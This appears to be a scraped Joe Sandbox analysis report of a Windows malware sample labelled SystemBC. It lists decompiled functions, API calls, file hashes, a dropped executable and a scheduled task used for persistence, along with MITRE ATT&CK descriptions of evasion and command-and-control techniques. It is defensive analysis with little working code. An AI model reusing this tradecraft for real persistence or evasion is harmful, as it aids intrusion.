Part of subcall function 0040AD77: __getptd_noexit.LIBCMT ref: 0040AD7A

__getptd.LIBCMT ref: 0040B68C

Strings

csm, xrefs: 0040B69A

Memory Dump Source

Source File: 00000000.00000002.305873396.000000000040A000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a000_R53a3ZJHBQ.jbxd

Similarity

API ID: __getptd$__getptd_noexit
String ID: csm
API String ID: 989085358-1018135373
Opcode ID: 5ae5fbd935de3d6df74cc4b61486c3bd72b271b6dea073419cfd22869186a743
Instruction ID: 32457cf10bdffe731e850fa4d936f74c7b4d7c0832d520dcf8180b54b8c341b7
Opcode Fuzzy Hash: 5ae5fbd935de3d6df74cc4b61486c3bd72b271b6dea073419cfd22869186a743
Instruction Fuzzy Hash: 0A0116348006048ADF289F75C840AAEB7B5EF20319F54483FE051767E1CB3A9A90CF9E

Uniqueness

Uniqueness Score: -1.00%

Function 004062A4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E004062A4(intOrPtr* _a4, intOrPtr* _a8, intOrPtr _a12) {
				void* _t7;
				intOrPtr* _t9;
				intOrPtr* _t10;

				_t10 = _a4;
				if( *_t10 != 0 ||  *((intOrPtr*)(_t10 + 4)) != 0) {
					_push(_t10);
					L00406D2A();
				}
				_t9 = _a8;
				if( *_t9 != 0 ||  *((intOrPtr*)(_t9 + 4)) != 0) {
					_push(_t9);
					L00406D3C();
				}
				if(_a12 != 0) {
					return E004062E7(_t7, _a12);
				}
				return _t7;
			}

0x004062aa
0x004062b0
0x004062b8
0x004062b9
0x004062b9
0x004062be
0x004062c4
0x004062cc
0x004062cd
0x004062cd
0x004062d6
0x00000000
0x004062db
0x004062e4

APIs

DeleteSecurityContext.SECUR32(?,?,kdnku,00000003,?,004055F6,?,?,?,?,00000000,00000006,?,00000000,00000002,00000000), ref: 004062B9
FreeCredentialsHandle.SECUR32(?,?,?,kdnku,00000003,?,004055F6,?,?,?,?,00000000,00000006,?,00000000,00000002), ref: 004062CD

Strings

kdnku, xrefs: 004062A8

Memory Dump Source

Source File: 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: ContextCredentialsDeleteFreeHandleSecurity
String ID: kdnku
API String ID: 4037185482-2024472800
Opcode ID: 781d58328a4356215abc4dbf84a8f3155248a28cd02924a691fdf7056bcbc732
Instruction ID: bdf4b76f2fb2cf8151eecc7a02c54060ef6c3bcd9bd9e1dcb41aac648f880fd4
Opcode Fuzzy Hash: 781d58328a4356215abc4dbf84a8f3155248a28cd02924a691fdf7056bcbc732
Instruction Fuzzy Hash: FEF06D3110121AEBDB217E09C805B9B73A8EF42369F06847FE816321C083BCACB5C69D

Uniqueness

Uniqueness Score: -1.00%

Function 033F61A2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32(00000000,0000EA60,0040811D,00002710,00405BE5,00000000,00002710,00405BE5,00000000), ref: 033F6D8F

Strings

kdnku, xrefs: 033F61C1
J, xrefs: 033F61A8

Memory Dump Source

Source File: 00000000.00000002.306263529.00000000033F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 033F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_33f0000_R53a3ZJHBQ.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: J$kdnku
API String ID: 621844428-1604535700
Opcode ID: 351b6e002c7a0fbf7b31e1341dee4d21c3553554373bb0063f8d3be9d4487751
Instruction ID: cffbdbed2c614a408c1a125e89e269ea148ee615b425248a89924963ce5a928f
Opcode Fuzzy Hash: 351b6e002c7a0fbf7b31e1341dee4d21c3553554373bb0063f8d3be9d4487751
Instruction Fuzzy Hash: 8AE0D837604248FECF01FF84DD83D9E7B18AF55295F404432F7112C062C57590119BA6

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: kdnku.exePID: 6584, Parent PID: 1088COMMON

Execution Graph

Execution Coverage:	3.4%
Dynamic/Decrypted Code Coverage:	4.1%
Signature Coverage:	0%
Total number of Nodes:	291
Total number of Limit Nodes:	17

Executed Functions

Function 0362F06E Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 0362F096
Module32First.KERNEL32(00000000,00000224), ref: 0362F0B6

Memory Dump Source

Source File: 00000001.00000002.567124070.000000000362E000.00000040.00000020.00020000.00000000.sdmp, Offset: 0362E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_362e000_kdnku.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 5660327e649ffc508a818a9124a818820ceb03ac52079d5724f50b0a9a0a2332
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 9EF0F635500B207BD7207BF9998CB6EBAFCAF49624F150529E642951C0DBB0E8054E61

Uniqueness

Uniqueness Score: -1.00%

Function 0040E9AB Relevance: 1.6, APIs: 1, Instructions: 52
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0040B14F,?,?,00000000,00000000,00000000,?,0040AD29,00000001,00000214), ref: 0040E9EE

Memory Dump Source

Source File: 00000001.00000002.566661043.000000000040A000.00000020.00000001.01000000.00000007.sdmp, Offset: 0040A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_40a000_kdnku.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 9c4b5cc782aa950718c820a84eb41e0203af9a9ff13f188db2019416f643a843
Instruction ID: 6f8c9ba13d3d82f4fc5307530dd3dcb37bdada545d9eecbd5ba05b0094a5917c
Opcode Fuzzy Hash: 9c4b5cc782aa950718c820a84eb41e0203af9a9ff13f188db2019416f643a843
Instruction Fuzzy Hash: 9F01B5313012269AEB699F27EC14B673754AB85364F01893FE815FB2D0DB78DC208A48

Uniqueness

Uniqueness Score: -1.00%

Function 0040A8DE Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__malloc_crt.LIBCMT ref: 0040A910

Memory Dump Source

Source File: 00000001.00000002.566661043.000000000040A000.00000020.00000001.01000000.00000007.sdmp, Offset: 0040A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_40a000_kdnku.jbxd

Similarity

API ID: __malloc_crt
String ID:
API String ID: 3464615804-0
Opcode ID: 6fc3d535fe4fca52893103af3ec490a7673316368da8459ae254074e9b47b81e
Instruction ID: 397f2532017531020f2401e4ed55c10372bdbda84cd56f285e07d3cb14600b79
Opcode Fuzzy Hash: 6fc3d535fe4fca52893103af3ec490a7673316368da8459ae254074e9b47b81e
Instruction Fuzzy Hash: 85F0E9B76053115ACF207735BC4585B2628DAD53543178437F401E3380F6384D8282AA

Uniqueness

Uniqueness Score: -1.00%

Function 0040ABC7 Relevance: 1.5, APIs: 1, Instructions: 3
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEncodePointer.NTDLL(00000000,0040E666,004177C0,00000314,00000000,?,?,?,?,?,0040A3C3,004177C0,00401D08,00012010), ref: 0040ABC9

Memory Dump Source

Source File: 00000001.00000002.566661043.000000000040A000.00000020.00000001.01000000.00000007.sdmp, Offset: 0040A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_40a000_kdnku.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: aaa52d8b45addab579c7dce82829ee88e72efc667ba23e5de2fe2b7bcc0b2b88
Instruction ID: a4a13578eba17ed2a19ae0d351f26f52e23885968aa3d1252695b13c16624c31
Opcode Fuzzy Hash: aaa52d8b45addab579c7dce82829ee88e72efc667ba23e5de2fe2b7bcc0b2b88
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0362ED2D Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0362ED7E

Memory Dump Source

Source File: 00000001.00000002.567124070.000000000362E000.00000040.00000020.00020000.00000000.sdmp, Offset: 0362E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_362e000_kdnku.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 79ac0f8be98d5d711717b9839c2eb17c1c5af5ffff45be785d7ad7eade645865
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 06112B79A00208EFDB01DF98C985E98BFF5AF08751F0580A4F9489B361D371EA50DF80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040AC4A Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 40
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 0040AC8F

Part of subcall function 0040CA63: __mtinitlocknum.LIBCMT ref: 0040CA79

__lock.LIBCMT ref: 0040ACB0
___addlocaleref.LIBCMT ref: 0040ACCE

Strings

8gA, xrefs: 0040ACC3

Memory Dump Source

Source File: 00000001.00000002.566661043.000000000040A000.00000020.00000001.01000000.00000007.sdmp, Offset: 0040A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_40a000_kdnku.jbxd

Similarity

API ID: __lock$___addlocaleref__mtinitlocknum
String ID: 8gA
API String ID: 3416137509-4267630940
Opcode ID: 1eddad60e474adfb5e8d0f8b718f7226be287f89febb819b45779397875be232
Instruction ID: c97d599b5e947c980b6866fe5fbac179b8ab54996e7765efca0b3c7b3dc3e0ba
Opcode Fuzzy Hash: 1eddad60e474adfb5e8d0f8b718f7226be287f89febb819b45779397875be232
Instruction Fuzzy Hash: 22017CB1405700DFD720AF66C845749BBE0AF40314F10892FE496667E1CBB8AA40CF19

Uniqueness

Uniqueness Score: -1.00%

Function 0040B549 Relevance: 6.0, APIs: 4, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__getptd.LIBCMT ref: 0040B57B

Part of subcall function 0040AD77: __getptd_noexit.LIBCMT ref: 0040AD7A

__getptd.LIBCMT ref: 0040B589
__getptd.LIBCMT ref: 0040B597
__getptd.LIBCMT ref: 0040B5A2

Part of subcall function 0040B66F: __getptd.LIBCMT ref: 0040B67E
Part of subcall function 0040B66F: __getptd.LIBCMT ref: 0040B68C

Memory Dump Source

Source File: 00000001.00000002.566661043.000000000040A000.00000020.00000001.01000000.00000007.sdmp, Offset: 0040A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_40a000_kdnku.jbxd

Similarity

API ID: __getptd$__getptd_noexit
String ID:
API String ID: 989085358-0
Opcode ID: 90ab24da204f4bbf67175ffbd7bd8491f3dd755bbc5abcee23f06ac882624155
Instruction ID: 1a3143193f64aeac8ceb4f764b4d4497176559468a4b0290007bfb067a6fc9fd
Opcode Fuzzy Hash: 90ab24da204f4bbf67175ffbd7bd8491f3dd755bbc5abcee23f06ac882624155
Instruction Fuzzy Hash: 7111D7B1C00309DFDB04EFA5C446AAE7BB1FF04319F11846AF814A7292EB389A15DF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040C870 Relevance: 6.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__getptd.LIBCMT ref: 0040C87C

Part of subcall function 0040AD77: __getptd_noexit.LIBCMT ref: 0040AD7A

__getptd.LIBCMT ref: 0040C893
__lock.LIBCMT ref: 0040C8B1
__updatetlocinfoEx_nolock.LIBCMT ref: 0040C8C5

Memory Dump Source

Source File: 00000001.00000002.566661043.000000000040A000.00000020.00000001.01000000.00000007.sdmp, Offset: 0040A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_40a000_kdnku.jbxd

Similarity

API ID: __getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 1314619503-0
Opcode ID: 87817498eeebcd391b1010e05bdfdf1375ae703b325c3b9ae9e5f6196eb00efa
Instruction ID: 69387d8ba419ab465f376d1e47455ca1e91b46f2155268ba73d2acec398f83a0
Opcode Fuzzy Hash: 87817498eeebcd391b1010e05bdfdf1375ae703b325c3b9ae9e5f6196eb00efa
Instruction Fuzzy Hash: 37F06233941700DAEA20BBAA9842B5D32905F0076AF11823FF014766D2CB3C4901CA5E

Uniqueness

Uniqueness Score: -1.00%

Function 0040B2E3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__getptd.LIBCMT ref: 0040B30D
__CallSettingFrame@12.LIBCMT ref: 0040B359

Strings

j, xrefs: 0040B2E3

Memory Dump Source

Source File: 00000001.00000002.566661043.000000000040A000.00000020.00000001.01000000.00000007.sdmp, Offset: 0040A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_40a000_kdnku.jbxd

Similarity

API ID: CallFrame@12Setting__getptd
String ID: j
API String ID: 3454690891-2137352139
Opcode ID: 4b90113d326e836ad41354c9c3bda5cd7f8e6bda960b276debb487cb563f0746
Instruction ID: c9235b576df28f921bdd51c286bbab9be60d30cdb76ab70db1d997ef382334e9
Opcode Fuzzy Hash: 4b90113d326e836ad41354c9c3bda5cd7f8e6bda960b276debb487cb563f0746
Instruction Fuzzy Hash: 79118B31901651DBCB219F58C4452ADBB70FF00318F2880ABE8987B6D3C3796952CBCE

Uniqueness

Uniqueness Score: -1.00%

Function 0040B66F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__getptd.LIBCMT ref: 0040B67E

Part of subcall function 0040AD77: __getptd_noexit.LIBCMT ref: 0040AD7A

__getptd.LIBCMT ref: 0040B68C

Strings

csm, xrefs: 0040B69A

Memory Dump Source

Source File: 00000001.00000002.566661043.000000000040A000.00000020.00000001.01000000.00000007.sdmp, Offset: 0040A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_40a000_kdnku.jbxd

Similarity

API ID: __getptd$__getptd_noexit
String ID: csm
API String ID: 989085358-1018135373
Opcode ID: 5ae5fbd935de3d6df74cc4b61486c3bd72b271b6dea073419cfd22869186a743
Instruction ID: 32457cf10bdffe731e850fa4d936f74c7b4d7c0832d520dcf8180b54b8c341b7
Opcode Fuzzy Hash: 5ae5fbd935de3d6df74cc4b61486c3bd72b271b6dea073419cfd22869186a743
Instruction Fuzzy Hash: 0A0116348006048ADF289F75C840AAEB7B5EF20319F54483FE051767E1CB3A9A90CF9E

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to collect elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Application logs, Process monitoring, Windows Error Reporting
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report R53a3ZJHBQ.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: SystemBC

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\micl\kdnku.exe

C:\ProgramData\micl\kdnku.exe:Zone.Identifier

C:\Windows\Tasks\kdnku.job

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Windows Analysis Report
R53a3ZJHBQ.exe

Function 00401000 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 119
sleepfilesynchronizationCOMMON

Function 00405662 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 241
timecomCOMMON

Function 00405A52 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 86
processCOMMON

Function 033F092B Relevance: 3.8, Strings: 3, Instructions: 90
COMMON

Function 00405E34 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 78
windowregistryCOMMON

Function 00406011 Relevance: 15.1, APIs: 10, Instructions: 66
memoryCOMMON

Function 033F003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Function 00405F52 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 25
networkCOMMON

Function 00405B74 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 49
COMMON

Function 004059B1 Relevance: 4.6, APIs: 3, Instructions: 57
comCOMMON

Function 033F0DF8 Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Function 0040E9AB Relevance: 1.6, APIs: 1, Instructions: 52
memoryCOMMONLIBRARYCODE

Function 0040A8DE Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Function 033F0920 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Function 0040ABC7 Relevance: 1.5, APIs: 1, Instructions: 3
COMMONLIBRARYCODE

Function 004011B8 Relevance: 106.4, APIs: 16, Strings: 44, Instructions: 1413
encryptionCOMMON

Function 00403B91 Relevance: 21.2, APIs: 3, Strings: 9, Instructions: 195
encryptionCOMMON

Function 00404A55 Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 333
networkCOMMON

Function 004040A0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 98
encryptionCOMMON

Function 00401DBD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 77
encryptionCOMMON

Function 004044BF Relevance: 4.6, APIs: 3, Instructions: 102
memorywindowCOMMON

Function 00403E6B Relevance: 4.5, APIs: 3, Instructions: 44
encryptionCOMMON

Description:	To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Network protocol analysis
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN , ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

